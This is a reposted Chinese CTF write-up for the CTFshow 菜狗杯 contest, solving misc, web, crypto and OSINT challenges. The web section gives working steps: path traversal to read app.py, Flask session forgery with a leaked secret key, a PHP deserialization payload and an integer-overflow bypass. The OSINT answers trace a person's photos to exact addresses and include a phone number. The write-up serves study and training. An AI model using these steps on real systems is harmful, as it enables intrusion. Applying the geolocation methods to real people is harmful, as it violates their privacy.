CTFshow-菜狗杯WP

这篇具有很好参考价值的文章主要介绍了CTFshow-菜狗杯WP。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

经过了48小时的奋战,在这次比赛中成功拿下4400分,同时也发现了自己的许多不足;

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库


MISC

杂项签到

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

下载附件后进行解压,发现是一张图片,通过二进制查看工具(WinHex/010 Editor)打开该图片,Ctrl+F搜索文本"ctfshow",即可发现:

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

ctfshow{a62b0b55682d81f7f652b26147c49040}

损坏的压缩包

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

通过Linux 使用file命令查看文件格式,得知该文件为PNG文件,修改文件后缀即可正常打开图片;

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

ctfshow{e19efe2eb86f10ccd7ca362110903c05}

谜之栅栏

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

下载附件后进行解压获得文件如下:

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

将文件使用Linux中的diff命令进行对比发现的确不同,然后使用HexCmp.exe工具将两张图片进行比较;

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

然后将两张图片中的flag按个拼接即可得到flag

ctfshow{f0a6a0b721cfb949a7fb55ab5d8d210a}

你会数数吗

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

下载附件后,使用010editor的 工具→直方图→无符号字节→进行降序排序;

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

ctfshow{a1b2d3e4g56i7j8k9l0}

你会异或吗

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

使用010 Editer打开然后进行异或即可

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

然后保存,即可正常打开图片;

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

ctfshow{030dOf5073ab4681d30866d1fdf10ab1}

我是谁??

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

打开链接发现是看图识美女,要通过30关;但是手里没有好用的图片识别工具,自己也不太懂这方面,便肉眼通过了30关,还浅浅拿了一血😂

黑丝白丝还有什么丝?

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

访问链接发现是探姬的福利视频(bushi),然后根据提示的摩斯密码不难猜测到黑丝为1,白色为0,然后分割标志为视频的转场动画,

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

ctfshow{W4NTT0B3MORECUTE}

我吐了你随意

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

下载附件打开发现是文本,发现提示为O宽隐写->即为零宽隐写

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

参考文档:零宽度字符隐写 | Lazzaro

使用在线解密:Unicode Steganography with Zero-Width Characters

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

ctfshow{OP_is_for_Over_Power}

这是个什么文件?

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

下载附件后,发现是一个压缩包,里面存在文件;

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

但是压缩包存在密码,先使用伪加密脚本跑一下,看看是不是伪加密;

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

这里发现成功破除伪加密(也可以手动修改破伪加密),然后通过文件头判断压缩包中的文件类型为.pyc,并修改文件后缀名为.pyc(否则在线工具无法正常反编译;)

再使用在线工具进行pyc反编译:python反编译 - 在线工具

得到Python代码,然后运行即可获得flag

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7

flag = bytes([
    99,
    116,
    102,
    115,
    104,
    111,
    119,
    123,
    99,
    100,
    106,
    110,
    106,
    100,
    95,
    53,
    54,
    53,
    102,
    95,
    71,
    67,
    68,
    72,
    95,
    107,
    99,
    114,
    105,
    109,
    125]).decode()
print(flag)

ctfshow{cdjnjd_565f_GCDH_kcrim}

我可没有骗你

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

下载附件发现是存在密码的压缩包,使用ARCHPR进行爆破得到密码55813329;然后得到了压缩包中的音频文件,然后发现文件后缀为.wav而不是原本的.mp3,猜测需要使用Silent eye工具 Sound qualit选择high,然后就得到flag啦

ctfshow{aha_cdsc_jejcfe5rj_cjfr24J}

你被骗了

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

下载附件发现副标题存在flag,但是不对,便考虑使用MP3Stego进行解密便得到flag;

ctfshow{chdv_1dcs_cjksnjn_NJDSjdcdjn}

一闪一闪亮晶晶

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

下载附件,压缩包->两个文件,一个是未加密的汉信码

解码网站:https://tuzim.net/hxdecode/

另外一个是需要密码音频文件,密码即为汉信码解码后的内容;

然后听音频发现是无线电音频,直接上RX-SSTV

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

打不开的图片

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

下载附件,使用010 Editer打开然后十六进制取反即可

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库


WEB

📎Web_wp.docx

web2 c0me_t0_s1gn

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

查看网页源代码得到一半flag

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

然后查看控制台,根据提示调用函数获得另一半flag

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

我的眼里只有$

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

抽老婆

查看网站源码发现存在文件下载的API

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

然后随便构造URL下载一个文件,根据报错提示判断出网站为Python的Flask框架搭建

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

然后利用该API下载网站源码:试试URL/download?file=../../app.py

# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File       : app.py
# Time       :2022/11/07 09:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

然后发现存在密钥app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'/secret_path_U_never_know路径;我们先对路径进行访问,被告知进行了身份验证,因此我们尝试进行Session伪造;

通过搜索发现存在flask-session-cookie-manager-master工具可以实现flask框架的Session伪造;

并且我们需要对我们当前的Session进行解密,脚本如下:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption("eyJjdXJyZW50X3dpZmkiOiIzMjBlN2Q1N2E0YTlmZGUwNzk1YmQ2MjIyNjQ5OWY2YS5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y2_BBw.Ucr4DWF6-6-IjmlyadXqJYIK4O0".encode()))

解密后得到:

{'current_wifi': '320e7d57a4a9fde0795bd62226499f6a.jpg', 'isadmin': False}

然后利用flask-session-cookie-manager-master工具获取伪造后的Session

python3 flask_session_cookie_manager3.py encode -s tanji_is_A_boy_Yooooooooooooooooooooo! -t "{'current_wifi': '320e7d57a4a9fde0795bd62226499f6a.jpg', 'isadmin': True}"

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

最后使用Bp修改Session发包即可;

TapTapTap

查看满足要求后的JS代码,然后进行Base64解码得到

Your flag is in /secret_path_you_do_not_know/secretfile.txt
访问该地址得到flag。

Webshell

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

http://e7335cf5-fb21-4a9c-aff6-f2485e27e841.challenge.ctf.show/?cmd=O:8:"Webshell":1:{s:3:"cmd";s:13:"cat * > 1.txt";}

化零为整

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

http://01aec60f-a0a8-473e-8bd4-116d2ba010d0.challenge.ctf.show/?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免

原题:

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}

我们不难发现,只要给‘0’任意传参即可输出Flag,因为这道题可能出错了

下面给出修改后的题目:

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die("nonono!");
    }
    else{
        die($flag);
        
    }
}

代码中的重点在$arr[]=1意思是在数组中追加一个数并且赋值为1

此时我们发现,如果要得到Flag,关键点在于要绕过if ($arr[]=1),即为:$arr[]=1赋值失败

索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败

Int范围查阅Manual可知:32位最大是2147483647,64位是9223372036854775807

也就是说我们上面传入?0=9223372036854775807以后,再执行$arr[]=1就会失败

传说之下(雾)

游戏题,需要我们分数到2077才可以,先把网站移植到本地,然后
在js代码中找到和分数相关的变量,进行修改:

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

修改为this.score += 2077然后吃一个果实,即可满足游戏要求;

然后查看控制台得到Flag;


CRYPTO

密码签到

63746673686f777b77656c636f6d655f325f636169676f755f6375707d

16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具

ctfshow{welcome_2_caigou_cup}

Caesar

Zhofrph wr FWIvkrz yhjhwdeoh grj fxs!

凯撒(Caesar)加密/解密 - Bugku CTF

ctfshow{Welcome to CTFshow vegetable dog cup!}

0x36d

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

Txtmoji | Encrypt Text to Emojis

类型-7

094F5A0F0A0D1805103B0B3D143117183B720438350A45550967674D1E064F2969784440455A460F1A1B

Type7算法解密计算工具-Bejson.com

ctfshow{Wow_u_Kn0w_Ci$c0_Type7_P@ssword!}

g4的密码小课堂

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

b'ctfshow{you_Know__doub1e_g2_1s_g4_s1m0n}'

@bash

OLEVNFNFAR

CTF在线工具-在线埃特巴什码加密|在线埃特巴什码解密|埃特巴什码算法|Atbash Cipher

ctfshow{LOVEMUMUZI}


OSINT

Fish And Turtles

根据B-6448和8月27日查得数据如下:

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

然后一大早出发,然后中转得知:

ctfshow{成都-厦门-3U6953}

碧海蓝天

百度识图+题目前后联想 = ctfshow{厦门市_鼓浪屿}

我滴家乡

百度识图+题目前后联想 = 福建省 + 东山岛 + 景点 = ctfshow{铜陵武庙朝圣楼}

横空出世

63746673686f777b77656c636f6d655f325f636169676f755f6375707d,前端,mysql,数据库

百度识图 + 问足球队 = 曼联 + 中日德兰 = ctfshow{2016年2月25日_老特拉福德球场}

J某的行踪1

图片中玻璃的字母 + 度假 + 温泉 =TRANSCENDENCE(文化主题酒店) + 度假 + 温泉 = ctfshow{青城山心越温泉度假酒店}

J某的行踪2

百度识图 + 茉莉 + 月光白 + 茶 = 福州的三坊七巷 + 茶室(茶馆)= ctfshow{福建省福州市鼓楼区八一七中路84号东百中心10楼ITEAMO}

J某的行踪3

百度识图 + 谷歌识图 = ctfshow{波兰_华沙_布里斯托酒店}

J某的行踪4

百度识图 + 图片相关链接 = ctfshow{波兰_华沙_老城区入口}

J某的行踪5

发现是国外直接使用谷歌识图 -> ctfshow{日本_东京_传法院通}

J某的行踪6

百度识图 + 谷歌识图 = 店名 -> 店铺首页 ->ctfshow{日本_神户_Kobe Plaisir}

J某的行踪7

问在日本的日语老师 -> ctfshow{日本_爱知县_名古屋市_荣站}

J某的行踪8

问在日本的日语老师 ->【クックドア】グルメ・飲食店検索サイト -> ctfshow{日本_茨城县_水户市_泉町_3丁目3-5}

J某的行踪9

入云屋 + 美团 = ctfshow{成都市_成华区_望平街23号_入云屋_妃子}

零碎的记忆1

百度识图 -> 跳转小红书 = ctfshow{长沙市_IFS国金中心}

零碎的记忆2

百度识图 -> 大众点评->查看详细地址 = ctfshow{湖南省长沙市开福区中山路589号_19118906693}

J某的过往1

半次元+ 天竹子 ->相关帖子 ->评论 = ctfshow{广西壮族自治区_南宁市_广西大学}

J某的过往2

百度识图-> 上海 + 题目信息->江 = ctfshow{上海_黄浦江}文章来源地址https://www.toymoban.com/news/detail-720139.html


到了这里,关于CTFshow-菜狗杯WP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTFshow-菜狗杯-misc(1-6)

    杂项签到-flag直接放入16进制文件 用winhex工具打开直接搜ctfshow就可以了(ctrl+F调出搜索框,注意选择ASCII编码,不是unicode):  损坏的压缩包-更改文件类型 使用winhex打开,发现是png的格式特征,将文件后缀改成.png: png文件格式详解,其中辅助数据块可以略过。 成功拿到f

    2024年02月02日
    浏览(84)
  • 菜狗杯Web签到wp

    写在前面: 因为我在复现这道题的过程中遇到了点问题,一度出不来flag,幸运的是在ctfshow的交流群里得到了多位师傅的指导,让我拿到了flag,所以本文就记录了一下遇到问题和解决问题的完整过程。 本文包含在 火狐中用hackbar插件 和在 burp中改包 两种解题方法。 打开这篇

    2023年04月23日
    浏览(38)
  • ctfshow新手杯wp

    最近国庆在疯玩的时候抽空做了几题,简单记录一下。 打开题目发现,点击不了,打开F12控制台发现flag: 题目是一个带密码的压缩包,提示说密码为纯大小写。用工具爆破了一下午没有结果,本来干脆不做了,后面打开文件发现备注:阿尼亚会PINyin:哇库哇库! 直接尝试出

    2023年04月25日
    浏览(41)
  • CTFshow pwn31 wp

    PWN31 使用checksec查看保护 发现除了canary剩下保护全开,那么就没有前面几个题目那么简单了,ida打开看见他给了我们main函数地址 虽然开了pie但是在他们之间的偏移是一定的,那么我们就可以通过他给的main函数的真实地址减去偏移得到文件(elf)的基地址,然后puts_plt puts_g

    2024年04月08日
    浏览(35)
  • ctfshow—2023愚人杯wp

    100 愚人杯比赛秉承欢乐、有爱、进取的精神 在群里师傅热心帮助下,已经开始第三届比赛啦! 欢迎各位师傅参加,希望大家玩的开心,比赛题目可以自由讨论、但是请不要py 正式比赛在 3月31日晚8点整开整 Happy April Fool’s Day! 本题flag是一个不能说的秘密 一个不能说的秘密

    2023年04月15日
    浏览(35)
  • ctfshow misc入门wp

    目录 图片篇(基础操作) misc1 misc2 misc3 misc4 图片篇(信息附加) misc5 misc6 misc7 misc8 ​misc9 misc10 misc11 misc12 ​misc13 misc14 misc15 misc16 misc17 misc18 misc19 misc20 misc21 misc22 misc23 misc41 图片篇(文件结构) misc24 misc25 misc26 misc27 misc28 misc29 misc30 ​misc31 misc32 misc33 misc34 misc35 misc36 ​misc37

    2024年02月03日
    浏览(35)
  • CTFSHOW愚人杯2023 部分wp

    url是base64编码后的文件名 直接读个index.php 然后查看源码 解码base64 过滤了斜杠,不能访问根目录了,考虑手动拼接一个 {{lipsum.__globals__.os.popen(lipsum.__globals__.__str__().__getitem__(34)~lipsum.__globals__.__str__().__getitem__(5)~lipsum.__globals__.__str__().__getitem__(22)~lipsum.__globals__.__str__().__getitem__(1

    2024年02月03日
    浏览(52)
  • ctfshow-2023愚人杯部分wp

    目录 热身 web easy_signin easy_ssti easy_flask Crypto: easy_base 复现 easy_php       脑筋急转弯   easy_signin 没有看url,直接F12看源码了,所以多做了一会儿,其实是任意文件读取,img参数传的是base64编码后的文件名,图片源是base64编码后的文件。 传入index,php的base64编码aW5kZXgucGhw,得到

    2023年04月21日
    浏览(40)
  • ctfshow-web入门-爆破wp

    ​进入主页为登录框,随便输入信息用burp抓包,发现Authorization认证使用Base64加密传输,解密发现为刚才输入的信息 右键发送至Intruder进行爆破,使用题目给出的字典进行爆破并添加变量 添加前缀使用户名固定并用Base64加密传输,记得取消勾选url-encode,不然会转义Base64的\\\"=

    2024年02月05日
    浏览(44)
  • ctfshow愚人杯-web-wp

    鄙人不才,可惜这里只做出了4道相对简单的web题(悲) 哈哈哈,不愧是愚人杯,刚开始时脑子真没反应过来 flag就是“一个不能说的密码”,绝了,我还以为flag是“群主喜欢36d”(bushi) 题目: 可以看到url里有一个img=xxx xxx为十六编码 我们试一下用index.php转换为base64: aW

    2023年04月16日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包